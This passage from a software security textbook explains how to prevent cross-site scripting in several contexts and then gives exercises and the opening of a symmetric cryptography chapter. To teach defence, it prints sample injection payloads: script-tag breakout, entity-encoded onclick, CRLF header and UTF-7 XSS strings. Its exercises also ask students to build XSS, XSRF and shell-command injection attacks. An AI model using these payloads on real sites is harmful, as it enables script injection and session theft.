
& \x26 or \u0026 Ampersand

Continued
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Table 10-2. Continued

Character Escape Comment

< \x3c or \u003c Less than

> \x3e or \u003e Greater than

= \x3d or \u003d Equals

Ensure that the string literal is not later used in a context in which it could be interpreted
as script (such as a JavaScript eval()).

Non-string literals (such as integers and floats) need to be formatted appropriately to
ensure that the resulting string representation cannot result in malicious JavaScript.

Rationale
Embedding JavaScript statements that are dynamically derived from user input into <script>
tags would be extremely risky; it is essentially impossible to reliably distinguish harmless snip-
pets of code from dangerous ones.

Enclosing in quotes and backslash-escaping the inserted string ensures that the
JavaScript parser interprets the string as a single string literal as intended. We must escape
quotes and line feed characters because they could be interpreted as the end of the string
literal and permit an “escape from the quote” attack. We also must escape the backslash;
otherwise the attacker could provide a single backslash, which would escape the quote that
was intended to end the string literal. After that, the sense of “inside” and “outside” string
literals is reversed, and the attacker may be able to cause script execution if he controls
another string that is inserted later on.

The escaping of the angle bracket characters is necessary because otherwise an attacker
could cause arbitrary script execution by injecting the following (into the msg_text variable in
the example at the beginning of this section):

foo</script><script>evil-script;</script><script>

After substitution, the HTML evaluated by the browser would be the following (the extra
new lines were inserted for formatting reasons):

<script>
var msg_text = 'foo</script>➥

<script>evil-script;</script>➥

<script>'
// ...
// do something with msg_text

</script>

Somewhat surprisingly, this HTML document does in fact result in the execution of 
evil-script;. The reason is that the browser first parses the document as HTML, and only
later passes text enclosed in <script> tags to the JavaScript interpreter—in other words, the
HTML parser does not respect or care about the delimiters of JavaScript string literals. Thus,
the HTML fragment will be parsed into three separate <script> tags. The first script tag con-
tains invalid JavaScript and would result in a syntax error. However, most browsers will
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evaluate separate <script> tags separately, and indeed execute the second (syntactically
correct) tag containing the malicious script (the third tag will again result in an error).

Finally, we escape the = and & characters for defense-in-depth, preventing attacker-
provided strings from being interpreted as tag attributes or HTML entities, respectively.

Numeric literals are generally safe if their string representations were obtained by the
appropriate conversion from a native numeric data type (e.g., via snprintf("%d",...) or
Integer.toString()). Note that in weakly typed languages such as Perl, PHP, and Python, it
is important to enforce type conversion to the appropriate numeric type.

10.5.8. JavaScript-Valued Attributes
In addition to the considerations in the previous section, we have to keep in mind an addi-
tional complication that arises with JavaScript in the context of a JavaScript-valued tag
attribute such as an onLoad or onClick handler: the values of such attributes are HTML-
unescaped before they are passed to the JavaScript interpreter.

Example
For example, consider the following template fragment:

<input ... onclick='GotoUrl("%(targetUrl)s");'>

Suppose an attacker injects the value

foo&quot;);evil_script(&quot;

for targetUrl, and our application does not apply any escaping of HTML metacharacters to
this variable. Note that this situation might appear perfectly safe because the string contains
neither non-escaped JavaScript quote characters nor HTML metacharacters.

However, this scenario results in the following document to be evaluated by the browser:

<input ...
onclick='GotoUrl("foo&quot;);evil_script(&quot;");'>

The browser HTML-unescapes the value of the onclick attribute before passing it to the
JavaScript interpreter, which then evaluates the expression

GotoUrl("foo");evil_script("");

Thus, the JavaScript interpreter will in fact invoke evil-script.

Prevention Techniques
When inserting user-controllable strings into the context of an attribute that is interpreted as
a JavaScript expression (such as onLoad or onClick), ensure that the string literal is JavaScript
escaped using a function that satisfies the criteria defined in the previous section, and is
enclosed in single quotes. Then HTML-escape the entire attribute, and ensure that the attrib-
ute is enclosed in double quotes.

As an additional safety measure, JavaScript escape functions should escape the HTML
metacharacters &, <, >, ", and ' into the corresponding hexadecimal or Unicode JavaScript
character escapes (see Table 10-2).
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Rationale
The additional HTML-escaping step ensures that the JavaScript expression passed to the
JavaScript interpreter is as intended, and an attacker cannot sneak in HTML-encoded
characters.

Using different style quotes for JavaScript literals and attributes provides a safety measure
against one type of quote accidentally “ending” the other.

The use of a JavaScript-escaping function that escapes HTML metacharacters into
numeric JavaScript string-escapes provides an additional safety measure in cases in which a
programmer forgets to use both escapes in sequence and only uses the JavaScript escape.
Note that for this measure to be effective, it is important to use the numeric escape for quote
characters (i.e., \x22 instead of \") since the HTML parser does not consider the backslash an
escape character, and therefore a non-HTML-escaped \" would actually end the attribute.

10.5.9. Redirects, Cookies, and Header Injection
Problems can also arise if user-derived input is not properly validated or filtered before it is
inserted into HTTP response headers.

Example
Consider a servlet that returns an HTTP redirect and allows the attacker to control the variable
redir_url via a request parameter:

HTTP/1.1 302 Moved
Content-Type: text/html; charset=ISO-8859-1
Location: %(redir_url)s

<html><head><title>Moved</title>
</head><body>
Moved <a href='%(redir_url)s'>here</a>

Suppose an attacker is able to set the redirect URL to the string

oops:foo\r\nSet-Cookie: SESSION=13af..3b; ➥

domain=mywwwservice.com\r\n\r\n<script>evil()</script>

Note that \n and \r denote newline and carriage return characters, respectively; and that
the string has been wrapped to fit the page. The attacker would likely submit the newline
characters in URI-encoded form—that is, 'oops:foo%0d%0aSet-Cookie...'.

The resulting HTTP response would be as follows:

HTTP/1.1 302 Moved
Content-Type: text/html; charset=ISO-8859-1
Location: oops:foo
Set-Cookie: SESSION=13af..3b; domain=mywwwservice.com

<script>evil()</script><html><head><title>Moved</title>
</head><body>
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Moved <a href='oops:foo
Set-Cookie: SESSION=13af..3b; domain=mywwwservice.com

&lt;script&gt;evil()&lt;/script&gt;'>here</a>

This will cause the cookie of the attacker’s choosing to be set in the user’s browser, and
may also execute the malicious script (e.g., Firefox would determine that the Location: header
of this HTTP response is not valid and would then just render the HTML in the response’s
body).

A similar scenario could occur for servlets that emit Set-Cookie headers and derive the
cookie’s name or value from user input.

Aside from the potential for XSS, the ability for an attacker to influence the user’s cookies
can under certain circumstances be problematic in itself. For example, the attacker might be
able to overwrite cookies that embody user preferences, which is a (albeit in most cases
minor) DoS issue. Or, the attacker may be able to set a cookie that is used to protect the appli-
cation against XSRF attacks (see Section 10.3.3) to a known value, which might permit the
attacker to circumvent the protection.

Prevention Techniques
When setting Location: headers, ensure that the URL supplied is indeed a well-formed http
URL. In particular, if it starts with a scheme (xxxx:), the scheme must be http or https. Fur-
thermore, it must consist only of characters that are permitted to occur non-escaped in a URL
as specified in the relevant standard, RFC 2396 (Berners-Lee, Fielding, and Masinter 2005).

When setting cookies, ensure that the cookies’ names and values contain only characters
allowed by the relevant standard, RFC 2965 (Kristol and Montulli 2000).

When setting other headers (e.g., X-Mycustomheader:) ensure that the header values (as
well as header names) contain only characters allowed by the HTTP/1.1 protocol specification
in RFC 2616 (Fielding et al. 1999).

Rationale
Restricting character sets to the characters allowed by the various specifications ensures that
the HTTP response will be parsed by the browser correctly and as intended.

Validating the URL ensures that only redirects to valid HTTP URLs can occur—not to, for
instance, a javascript: URL. While modern browsers will not execute script in a redirect to a
javascript: URL, older browsers might. As always, we follow the “whitelist, not blacklist”
paradigm.

10.5.10. Filters for “Safe” Subsets of HTML
There are situations in which some “safe” subset of HTML should be allowed past filters and
rendered to the user. An example would be a web-based e-mail application that allows
“harmless” HTML tags (such as <h1>) in HTML e-mails to be rendered to the user, but does
not allow the execution of malicious script contained in an e-mail.

The general recommended approach to this problem is to parse the HTML with a strict
parser, and completely remove all tags and attributes that are not on a whitelist of tags and
attributes that are known to not allow arbitrary script execution.
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Getting this right is fairly difficult; we highly recommend that designers and developers of
such applications consult a security expert versed in web application and cross-domain secu-
rity issues.

10.5.11. Unspecified Charsets, Browser-Side Charset Guessing,
and UTF-7 XSS Attacks
To render a document received from a web server, a browser must know what character
encoding to assume when interpreting the raw stream of octets received from the server as
a sequence of characters. For HTML documents, a server can specify the encoding via the
charset parameter of the Content-Type HTTP header, or in a corresponding <meta http-equiv>
tag (the terminology around charsets, document character sets, and character encodings is
somewhat confusing—see the HTML 4.01 Specification, Section 5.2).

If no charset is specified by the server, browsers generally assume a default—for example,
iso-8859-1. In addition, some browsers can be configured to guess the correct charset to use
for a given document.

The latter behavior can lead to XSS vulnerabilities, because character sequences that were
interpreted in a certain way under an assumed charset on the server (and, in particular, not
escaped or filtered) can be interpreted as different character sequences under a different,
guessed encoding in the browser.

Example
For example, suppose a server renders an HTML document based on the following template,
and the document is returned without an explicitly specified charset:

<p>Error: Your query '%(query)s' did not return any results. </p>

Suppose an attacker can cause query to contain

+ADw-script+AD4-alert(document.domain);+ADw-/script+AD4-

Note that this string does not contain any characters that would usually be filtered out
by an input filtering framework. Neither would any of the characters be escaped by an
application that follows the usual guidelines for HTML-escaping strings documented in
Section 10.5.2.

The resulting HTML snippet would render as

<p>Error: Your query
'+ADw-script+AD4-alert(document.domain);+ADw-/script+AD4-'
did not return any results.</p>

If the user is using Internet Explorer (as of version 6.0) configured to auto-select encod-
ings (set in menu View ➤ Encoding ➤ Auto-Select), Internet Explorer will guess UTF-7 as the
encoding for this document (Firefox appears not to guess UTF-7 encodings, even with auto-
detect enabled). However, under UTF-7 encoding, the octet sequence corresponding to the
ASCII characters +ADw- is actually an encoding of the less-than character (i.e., <), and +AD4-
corresponds to the greater-than character (>). Therefore, the browser will interpret and exe-
cute the script tag.
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Prevention Techniques
All pages rendered by a web application must have an appropriate charset explicitly specified,
which can be done using one of two mechanisms:

• Via the charset parameter of the HTTP Content-Type header—for example

Content-Type: text/html; charset=UTF-8

• Via a corresponding <meta http-equiv> tag:

<meta http-equiv="Content-Type"
content="text/html; charset=UTF-8">

When using this solution, it is important to ensure that the <meta> tag appears in the
document before any tag that could contain untrusted data—for example, a <title> tag.

It is important to specify an appropriate charset that reflects the encoding assumptions
made by the application when sanitizing/filtering inputs and HTML-encoding strings
for output.

10.5.12. Non-HTML Documents and Internet Explorer 
Content-Type Sniffing
In general, browsers are expected to honor the MIME type of the document as specified in the
Content-Type HTTP header. In particular, one would expect that a browser would always ren-
der a document with Content-Type: text/plain as plain text, without interpreting HTML tags
in the document.

Content-Type Sniffing
This is not the case for Internet Explorer, which has a feature, referred to as content-type sniff-
ing or MIME-type detection, where it scans the beginning of a document for HTML tags. If it
finds substrings that appear to be HTML tags, it assumes that the publisher of the document
meant to serve an HTML document, and ignores the document’s specified content type and
interprets the document as HTML. (For more information, see the Microsoft MSDN article,
“MIME Type Detection in Internet Explorer,” at http://msdn.microsoft.com/workshop/
networking/moniker/overview/appendix_a.asp).

This can result in considerable headaches for the developer of an application that renders
non-HTML documents from untrusted sources. For example, a web-based e-mail application
may have a feature that allows users to view an e-mail’s attachments in a separate browser
window. A malicious attachment of content type text/plain that contains script tags near the
beginning would cause the malicious script to be executed if viewed by a user in Internet
Explorer, even if the server served the document with the correct Content-Type: text/plain
header.

More problematically, some versions of Internet Explorer even do this for documents
with image content types. If an image is not really a valid image file, but rather contains HTML
tags near the beginning, Internet Explorer will reinterpret the image document as HTML, and
execute any script incorporated in the document. Note that it does so only if the image is
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accessed as an entire separate document (i.e., if the browser accesses a link that leads to this
document), but apparently not (at least in current versions) when the image is embedded into
another document via an <img> tag. Applications that let users upload images that may be dis-
played to other users have to worry about this.

Prevention Techniques
With respect to XSS, there are a number of ways to deal with this feature:

• Validate the content to be displayed to indeed be a document of the intended MIME
type. This strategy would be most appropriate for images. To be on the safe side, it
would be best to actually process the image using an image-manipulation library; that
is, read the image file, convert it to a bitmap, and then convert it back to an image file in
the appropriate format. Then, the file that is displayed to users is actually produced by
code under your control, which would help ensure that the image file is well formed
and does not contain any artifacts that may fool the browser into interpreting it as a dif-
ferent MIME type (or try to exploit vulnerabilities in browser-side image parsing, for
that matter).

When following this approach, you have to be aware that your application will parse
and process image files from untrusted sources. Image file formats are often rather
complex, and it is not uncommon for third-party image-parsing libraries to themselves
contain bugs and exploitable security vulnerabilities that might be exploited by a mali-
cious, malformed image file. As such, you have to be careful, especially if you are using
an image library written in a non-type-safe language such as C or C++.

• Ensure that there are no HTML tags in the first 256 bytes of the document, which could
be done for example by prepending 256 whitespace characters. It is important to note
that while we have empirically confirmed this number, and it is also consistent with
Microsoft online documentation (see “MIME Type Detection in Internet Explorer,” at
http://msdn.microsoft.com/workshop/networking/moniker/overview/appendix_a.asp),
there are no guarantees that future or very old versions of Internet Explorer may not
behave differently.

• For plain text documents, one could also render the entire document as HTML (e.g., in
<pre> tags) and HTML-escape the entire document. However, this may not always be
appropriate (e.g., if the user should have the option of saving the document as a plain
text file).

10.5.13. Mitigating the Impact of XSS Attacks
In the preceding sections, we discussed how to prevent XSS by eliminating its root cause: the
injection of unvalidated or non-escaped strings that cause the execution of attacker-controlled
script within a victim’s browser. In the following discussion, we consider two strategies to miti-
gate the impact of XSS attacks in case your application is vulnerable to XSS despite your best
efforts.
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HTTP-Only Cookies
Internet Explorer implements an extension to the HTTP Cookie specification that allows a
web server to add an additional attribute, HttpOnly, to cookies that it sets in the user’s browser.
When Internet Explorer receives a cookie with the HttpOnly attribute, it will not expose this
cookie to client-side script (e.g., in the document.cookie DOM property); rather, such a cookie
will only be sent to the server as part of HTTP requests. In case of an XSS attack against the
web application, HTTP-only cookies cannot be accessed by the injected malicious script, and
therefore cannot be sent to the attacker (for details, see the MSDN article “Mitigating Cross-
Site Scripting with HTTP-Only Cookies,” at http://msdn.microsoft.com/workshop/author/
dhtml/httponly_cookies.asp).

While setting the HttpOnly attribute for session cookies in many cases prevents traditional
session hijacking (i.e., scenarios in which an attacker obtains the victim’s session cookies and
uses them to access the victim’s session with his own browser), you should not rely on this fea-
ture as your only protection mechanism against XSS attacks. There are several reasons why
HTTP-only cookies provide incomplete protection:

• The HttpOnly attribute is at this time only supported by Internet Explorer, but not other
popular browsers.

• Even with HttpOnly session cookies, XSS attacks with payloads that execute malicious
actions directly within the user’s browser are still possible. For example, using HttpOnly
would generally not prevent XSS worms from propagating.

• If it is possible for an HTTP request to elicit a response that includes cookies sent as
part of the request, injected script can extract HTTP-only session cookies from this
response. For example, the response to the HTTP TRACE method, which is supported by
many popular web servers, includes a copy of all the original HTTP request’s headers,
including cookies. Thus, if a web server supports TRACE, then session cookie hijacking is
possible even if cookies are marked HttpOnly. It is therefore recommended to disable
TRACE requests (as well as other debug requests whose responses might contain cook-
ies) in the web server configuration if HttpOnly is used.

Binding Session Cookies to IP Addresses
If your web application receives multiple requests with the same session token, but from dif-
ferent IP addresses (especially if those IP addresses are known to be in far-apart geographic
locations), then you have a strong indication that this session token has been hijacked. Based
on this observation, it is worth considering mechanisms to mitigate session hijacking attacks
by binding session cookies to IP addresses.

In the simplest case, your application could record the user’s IP address at the time a ses-
sion is initiated (e.g., when the user logs in using her username and password), and associate
this IP address with this session and corresponding session cookie. If at a later time a request
with this session cookie is received from a different IP address, the application would reject
the request.

It is important to note that, like the HttpOnly cookie attribute, this scheme does not pre-
vent XSS attacks whose payload does not rely on stealing session cookies, but rather executes
immediately within the victim’s browser.
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In addition, there are a number of challenges in implementing a scheme that ties sessions
to IP addresses without adversely affecting usability. There are a number of situations in which
a user’s session may legitimately result in requests originating from different IP addresses. For
example, a user who accesses the Internet using a dial-up connection may be assigned a dif-
ferent IP address every time he connects. Similarly, it is common for laptop users to access the
Internet via several different providers (and hence with different IP addresses) in a single day
(e.g., from home, at work, or via the wireless network in a coffee shop).

For less frequently used applications involving sensitive data or high-value transactions
(e.g., online banking applications), it may be appropriate to indeed tie sessions to a single
IP address at login time and require the user to re-authenticate whenever his computer’s IP
address changes. For other applications, this may not be an acceptable user experience. For
such applications, a heuristic approach might be more appropriate; the application might
reject a request only if there is a very strong indication that it includes a stolen session cookie
(e.g., a case in which a session is created based on a login request that originates from an IP
address in California, and the corresponding session cookie appears 5 minutes later in a
request that originates in Eastern Europe).
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Exercises for Part 2

The following exercises will help test your understanding and give you some hands-on
experience with the topics covered in Chapters 5 through 10. While some of the exercises
test conceptual understanding, others have you do some calculations, write code, and con-
struct attacks. In the world of security, the devil is often in the details, and doing the following
exercises will give you a much deeper, more detailed understanding to complement your
readings. Additional materials (and hints) supporting these exercises are available at
www.learnsecurity.com/ntk.

1. Joe, a web programmer for a bank, is told he needs to keep track of how many cus-
tomers the bank has. To do so, he gives each customer a user-id number—the bank’s
first customer is given the user-id 1, the second customer is given the user-id 2, and so
on. Joe’s previous job was building the online pizza delivery web site that we used as
an example in Chapters 7 and 8. He has now been given the task of building the online
banking web application for his current employer, and his implementation is some-
what similar to the code for the pizza delivery application. He decides he does not
want to keep track of both a user-id and a session-id. After all, why waste space in the
database?

a. What are some security vulnerabilities that might arise if Joe uses a sequential
user-id?

b. What are some security vulnerabilities that might arise if he uses a user’s Social
Security number or “national id” as the session-id?

c. An HTTP proxy server is a server that makes HTTP requests on behalf of a client.
HTTP proxies are sometimes used when clients do not have public IP addresses of
their own to communicate with web servers. HTTP proxies can also be used to pro-
vide privacy for the client. For example, a dial-up client or mobile phone that does
not have a public IP address of its own may issue requests to an HTTP proxy to
indirectly communicate with a web server. The web server responds to the proxy,
since it does not have a direct way of responding to the client (it does not have a
public IP address or does not want to disclose it), and the HTTP proxy forwards the
response to the client. What additional security vulnerabilities might arise if Joe
uses Social Security numbers or “national” ids as session ids, and some clients
connect through proxy servers?
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2. Consider a scenario in which an attacker is interested in breaking into Windows NT or
UNIX shell accounts. Analyze the technical issues surrounding the password security
that these operating systems offer. State your assumptions.

a. How many bits of information are possible in an eight-character password if any
character can be used?

b. How many different combinations of passwords are there in an eight-character
password if only the uppercase and lowercase characters plus the ten decimal
digits can be used?

c. How many different combinations of passwords are there if users choose their
passwords to be concatenations of dictionary words from a dictionary with the
characteristics in Table 11-1?

Table 11-1. Dictionary of Words

Number of Characters in Word Number of Words

1 5

2 32

4 103

5 402

d. If a password-cracking program can try 1,000 passwords per second, how long will
it take to find a particular user’s password by brute-force search in the worst case?
If the password-cracking program could instead try 1,000,000 passwords per sec-
ond, what could the designers of the operating system do to help thwart an attack?

3. Implement HTTP digest authorization. Use a password file with salts, and reuse the
BasicAuthWebServer from Chapter 9. Implement a program that allows you to add and
delete passwords to and from the password file.

4. In Chapter 9, the password manager stored passwords in a file. What would be some of
the trade-offs involved in storing the passwords in a relational database (e.g., MySQL,
Oracle, etc.) instead of in a file? What types of additional input validation might need
to be done on usernames and passwords if they are to be stored in a database?

5. In Chapter 9, MiniPasswordManager stored h(password | salt) in the password file.
Assume that an attacker has gained possession of the password file.

a. Let’s say that the attacker wants to minimize the number of bytes that she has to
hash to conduct a dictionary attack. How can she take advantage of the structure
of our hash to minimize the number of bytes she must hash to compute the com-
bination of every dictionary word with every possible salt?

b. Would the same attack be more, less, or just as effective if you stored h(salt |
password) in the password file? Why or why not?

c. Would the same attack be more, less, or just as effective if you stored h(salt |
password | salt) in the password file? Why or why not?
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6. Study the source code for the password file classes in Appendix B. Note that the code
assumes that a particular delimiter is used to segregate the username from the pass-
word. Construct an attack in which the bad guy can conduct an unauthorized login to
a system that uses MiniPasswordManager using a carefully constructed username.
Assume that the system does not do proper input validation. How would you fix the
vulnerability?

7. Assume that a web server executes the following UNIX mail command in a shell script
in response to a new user registering with the web site:

mail -s "Welcome $name" $email_address < welcome_letter.txt

In the preceding command, the $name and $email_address variables come from an
HTML form that the user fills in.

a. Construct an attack in which the attacker can take ownership of the web server
machine. Assume that the web server is running as root. (Hint: The $subject and
$email_address variables contain unvalidated input from the user.)

b. What other types of attacks can the attacker conduct against this script?

8. Experiment with XSS attacks in the following ways:

a. Introduce into SimpleWebServer some XSS attacks that correspond to some of the
HTML contexts discussed in Chapter 10.

b. Create a “malicious” web page that exploits these vulnerabilities. Experiment with
the various exploit payloads discussed in Chapter 10.

c. Fix the XSS vulnerabilities using the techniques described in Chapter 10. Explore
the circumstances under which an incomplete fix will still leave the vulnerability
exploitable. For example, consider a situation in which a user input is inserted into
an attribute of an HTML tag, and while correctly escaped, the value is not enclosed
in quotes. Can you still exploit this situation?

9. Experiment with XSRF attacks and the corresponding prevention techniques.

a. Run a version of SimpleWebServer that includes a file-upload feature as well as
basic HTTP authentication (see Chapter 4). Create a web page that executes an
XSRF attack against the server, such that if a user who has previously logged into
SimpleWebServer visits your page, a file of your choosing is uploaded without the
user knowing (e.g., use an invisible IFRAME to conceal the attack).

b. Implement one of the preventive measures against XSRF attacks introduced in
Chapter 10. Test that the preceding attack page no longer works. (You might want
to read the section on MACs in Chapter 15 to help you implement these preventa-
tive measures.)

c. Introduce an XSS vulnerability into SimpleWebServer (not necessarily on the URL
that handles file upload). Modify your attack page such that it uses the XSS vulner-
ability to thwart the XSRF protection, and again execute a file upload on behalf of a
logged-in victim user who visits your malicious page.
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10. Advanced exercise: Write an HTML filter that, given an arbitrary HTML document, pro-
duces an HTML document that will not result in the execution of script if loaded into a
user’s browser, but leaves “basic markup” (fonts, formatting, etc.) intact. Consider the
possibility that the input document is not well-formed HTML, and also consider
browser-specific features. Trade implementations with a fellow student or coworker
and attack each other’s solutions—for example, try to find an input string such that the
resulting document causes script of your choosing to execute if loaded into a browser.
Resort to mean tricks, such as using CSS style sheets to cause script execution.
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Symmetric Key Cryptography

Cryptography is the study of how to mathematically encode and decode messages. The
objective of this chapter and the next is to show you how to use cryptography as a tool to
achieve some of the security goals we discussed in Chapter 1. A cryptographic primitive is an
algorithm that can be used to, for example, encode or decode a message. In this chapter and
the next, you’ll see how to use cryptographic primitives to achieve authentication, confiden-
tiality, and message integrity.

Our focus will be to show how cryptographic primitives can be used to achieve security
goals. That is, we will focus on applied cryptography, and how to put cryptographic primitives
to practical use. Using cryptographic primitives correctly is tricky business. When used cor-
rectly, cryptographic primitives can help improve the security of a software application. When
used incorrectly, they can give rise to dangerous security holes, and give a false perception of
security simply because cryptography is being used (albeit incorrectly).

As such, before using cryptographic primitives, we strongly recommend that you consult
a security expert to review your design and your code. The design review can help ensure that
you are accomplishing your intended goals by using cryptography, and the code review can
help identify vulnerabilities in your implementation of the design. If you are interested in using
cryptographic primitives, you should consider using one of many existing cryptographic
libraries; do not attempt to build your own!

In the next few chapters, we will discuss important cryptographic concepts and popular
ciphers. You should keep in mind that cryptography is often a small (but critical) part of an
overall software security solution. Cryptography on its own cannot be used to achieve security
goals, but it is an important component. Careful use of cryptography in applications, together
with well-designed and correctly deployed software, good policies and procedures, and physi-
cal security, can result in real security.

We divide our study of applied cryptography into two general areas: low-level primitives
and higher-level protocols. Our discussion of low-level primitives includes cryptographic
algorithms that serve as building blocks. These building blocks can be put together to imple-
ment higher-level protocols, such as digital signature generation and verification. A digital
signature is a sequence of bits that can feasibly be constructed only by a principal that has a
secret “signing” key. We will discuss digital signatures in more detail once we have covered
low-level primitives in this chapter and the next.

This chapter focuses on symmetric encryption—in which Alice and Bob use the same key.
Asymmetric encryption, in which Alice and Bob use different keys, is covered in the next
chapter.
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As we examine many of the algorithms, it is important to understand what each one does.
It is also important to learn what the inputs and outputs are, and understand the trade-offs in
using the different algorithms.

12.1. Introduction to Encryption
Consider a scenario in which Alice is a bank customer who wants to communicate with her
bank’s customer service representative, Bob, over a computer network. Alice may first need
to authenticate herself to Bob by sending her account number and PIN. If Alice sends her
account number and PIN to Bob “in the clear” (without any encryption), then an eavesdrop-
per, Eve, may be able to intercept Alice’s credentials and impersonate Alice. We can use an
encryption algorithm to protect the confidentiality of data exchanged between Alice and Bob.
When Alice encrypts data, the message that she sends to Bob will look like garbage to every-
body else but Bob. Bob can use a decryption algorithm to decode the message.

12.1.1. Substitution Ciphers
We first describe a strawman encryption algorithm called a substitution cipher. We use this
example only to concretely demonstrate what an encryption algorithm is and how it works,
and also introduce some terminology and provide some intuition as to why it is hard to come
up with a good encryption algorithm. 

■Caution Do not attempt to use a substitution cipher, or even a modification of one, in your own code!
Substitution ciphers are easy for attackers to break using basic frequency and statistical analysis, as we
shall describe shortly.

Consider a scenario in which Alice wants to send the message meet me at central park
to Bob. Alice does not want other people to understand the message that she is sending to
Bob. She encrypts the message using a substitution cipher algorithm (which we will discuss
shortly) and sends the string phhw ph dw fhqwudo sdun to Bob. After briefly introducing some
terminology, we will describe how the encrypted message was obtained.

The original message, meet me at central park, is called the plaintext. The encrypted
message is called the ciphertext. When messages are encrypted with a substitution cipher,
each letter in the plaintext is replaced with another letter to produce the ciphertext. A key is
used to determine which letter should appear in the ciphertext, given a letter in the plaintext.
In our example, the key we used is 3. For each letter in the plaintext, we replaced it with the
letter that appears 3 letters later in alphabetic order. So, a is replaced by d, b is replaced by e,
and so on. If one of the last few letters in the alphabet appears in the plaintext, such as x, y,
or z, we wrap around to the beginning of the alphabet if necessary to determine the letter to
appear in the ciphertext. For instance, if x appears in the plaintext, then a would appear in
the corresponding ciphertext. The correspondence is shown here:

Plaintext:  abcdefghijklmnopqrstuvwxyz
Ciphertext: defghijklmnopqrstuvwxyzabc
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To decrypt the ciphertext to obtain the plaintext, we simply reverse the process. In our
example ciphertext phhw ph dw fhqwudo sdun, the first letter is a p. Since the key is 3, it corre-
sponds to an m in the plaintext. Even though Eve may be able to see the ciphertext message,
she may not be able to decrypt the message if she does not know the key.

However, the substitution cipher is a very old, easily breakable cipher, and is now used at
most for children’s games on the backs of cereal boxes. In most languages, English included,
there is a natural frequency with which letters occur. For instance, even in the short message
meet me at central park, the letter e is the most frequently appearing letter, followed by t.
This happens to also be true for the text of the US Declaration of Independence and the text of
this book.

Given the natural frequency of letters in the English language, an attacker could deter-
mine the key for a substitution cipher by figuring out the most frequently appearing letter in
the ciphertext and counting the number of letters between it and e. The attacker can verify
her hypothesis by also counting the number of letters between the second most frequently
appearing letter and t.

A good encryption algorithm should not be vulnerable to such statistical attacks that try
to exploit frequencies or patterns of letters in ciphertext. A good encryption algorithm pro-
duces text that appears completely random, in which each “letter” is just as likely to appear as
any other letter, regardless of the contents in the plaintext. At the bit level, the probability that
any particular bit is either 1 or 0 in the ciphertext should be 1/2 for a good encryption function.

12.1.2. Notation and Terminology
In this section, we briefly cover some notation that we will use in this and in following chap-
ters. We use m to denote plaintext, and c to denote ciphertext. We also use F and F–1 to refer
to mathematical functions for encryption and decryption, respectively. We use k to denote
the key.

The encryption function F requires a plaintext message, m, and an encryption key as
input, and produces a ciphertext message c as output. We denote the relationship between
the encryption function, the plaintext, the ciphertext, and the key as F(m,k) = c.

The decryption function F–1 requires a ciphertext message, c, and a decryption key as
input, and produces a plaintext message as output. Similarly, F–1(c,k) = m.

A symmetric cipher is an encryption and decryption function for which F–1(F(m,k),k) = m.
If Alice wants to send m to Bob confidentially, she computes c = F(m,k), and then sends c to
Bob. When Bob receives c, he computes m = F–1(c,k). The cipher is said to be symmetric
because the same key is used for both encryption and decryption.

12.1.3. Block Ciphers
Encryption can help us achieve confidentiality, among other security goals. In this section, we
start exploring cryptographic primitives for encryption. In particular, we will start with study-
ing block ciphers, in which, say, blocks of 64, 128, or 256 bits are encrypted at one time.

Many encryption algorithms have been developed over time, and we examine a few of
them here. We start by looking at the Data Encryption Standard (DES) and Triple DES algo-
rithms. We will also cover the Advanced Encryption Standard (AES) algorithm selected by NSA
in 2000 to deal with the inevitable obsolescence of DES. In addition to DES, Triple DES, and
AES block ciphers, we also discuss RC4, a stream cipher, in Section 12.2.2.
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While we present a few representative symmetric encryption algorithms here, there are
many more that have been developed. The International Data Encryption Algorithm (IDEA),
A5 (an encryption algorithm used as part of the GSM cell phone standard), Blowfish, and Skip-
jack are examples of other encryption algorithms. If you’re interested in learning more about
encryption algorithms, you should read Practical Cryptography, by Niels Ferguson and Bruce
Schneier, or Applied Cryptography: Protocols, Algorithms, and Source Code in C, by Bruce
Schneier. Both books catalog many more algorithms than we discuss in this book.

Each of these algorithms use different key lengths. They also have different security prop-
erties, and some of them are ideal for different applications. Using DES, Triple DES, AES, and
RC4 as examples, we provide you some idea of how symmetric encryption algorithms work,
and what the trade-offs between them are.

DES
DES is an algorithm that was adopted in 1977 by the National Institute of Standards and Tech-
nology (NIST). The DES algorithm is summarized in FIPS (Federal Information Processing
Standards) 46-3.

DES is a 64-bit block cipher. An n-bit block cipher encrypts n bits of plaintext at a time,
and produces an n-bit result. DES takes as input 64 bits of plaintext and a 64-bit key. The key
contains 8 parity bits. Parity bits are extra bits that add redundancy to detect if the key has
been corrupted. Depending upon whether a DES key has its parity bits or not, it is 64 bits or 56
bits, respectively. From a security standpoint, DES gives 56 bits of security, since the other bits
are just for integrity checking.

At one time, DES was probably the most prevalently used symmetric encryption algo-
rithm in the United States, not only in the financial industry but in other industries as well.
Today, however, DES is fairly susceptible to brute-force attack. In a brute-force attack, attack-
ers get ahold of some ciphertext and try decrypting it using every possible key.

In 1998, the Electronic Frontier Foundation (EFF) (www.eff.org), a privacy rights group,
funded the development of a machine called Deep Crack to do exactly that. Their intention
was to prove that DES encryption was not as secure as some government organizations and
corporations purported. EFF’s goal was to break DES in as short of an amount of time as pos-
sible. Deep Crack was able to break DES in 56 hours using such a brute-force attack. Since
then, other machines have been developed that can crack DES even faster.

Given that it is possible to search a key space of 256 keys in a reasonable amount of time,
you might ask the question of how much does adding more key bits help? How long would it
take for an attacker to conduct a brute-force attack on, say, a 128-bit key? It turns out that it is
just too much work for an attacker to be able to compute all possible 2128 decryptions. Even if
an attacker could do ten trillion (1013) decryptions per second per CPU, and she had access to
one billion CPUs to do this concurrently, it would still take over one billion years to try all pos-
sible 128-bit keys. In the next subsection, we explore how we can build a symmetric cipher
using DES that supports longer keys.

Triple DES
Triple DES is an algorithm based on DES that can be used to achieve a higher level of security
than DES alone. As the name implies, Triple DES runs DES three times. Triple DES can run
these three DES operations with three different keys. A Triple DES encryption consists of
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taking an input message, m, encrypting with the first key (k1), decrypting the resulting mes-
sage with the second key (k2), and then encrypting that message with the third key (k3).

You might be wondering why Triple DES does a decryption as part of its second step
instead of just encrypting three times. The reason is for backward compatibility. If k1 = k2 = k3

(all the keys are the same), doing a Triple DES encryption is exactly equivalent to doing a DES
encryption. If your system used to use DES, and you were interested in upgrading to Triple
DES without disturbing your software, then what you could do initially is use Triple DES and
feed in the old key (k) by setting k1 = k2 = k3 = k, and your system would continue to function as
before. Triple DES provides existing DES users with an easy upgrade path to start using Triple
DES. Once the system is tested for reliability and stability with Triple DES, you can then increase
security by using three different keys. Backward compatibility was built into Triple DES par-
tially to support many systems that used microchips implementing regular DES in hardware.
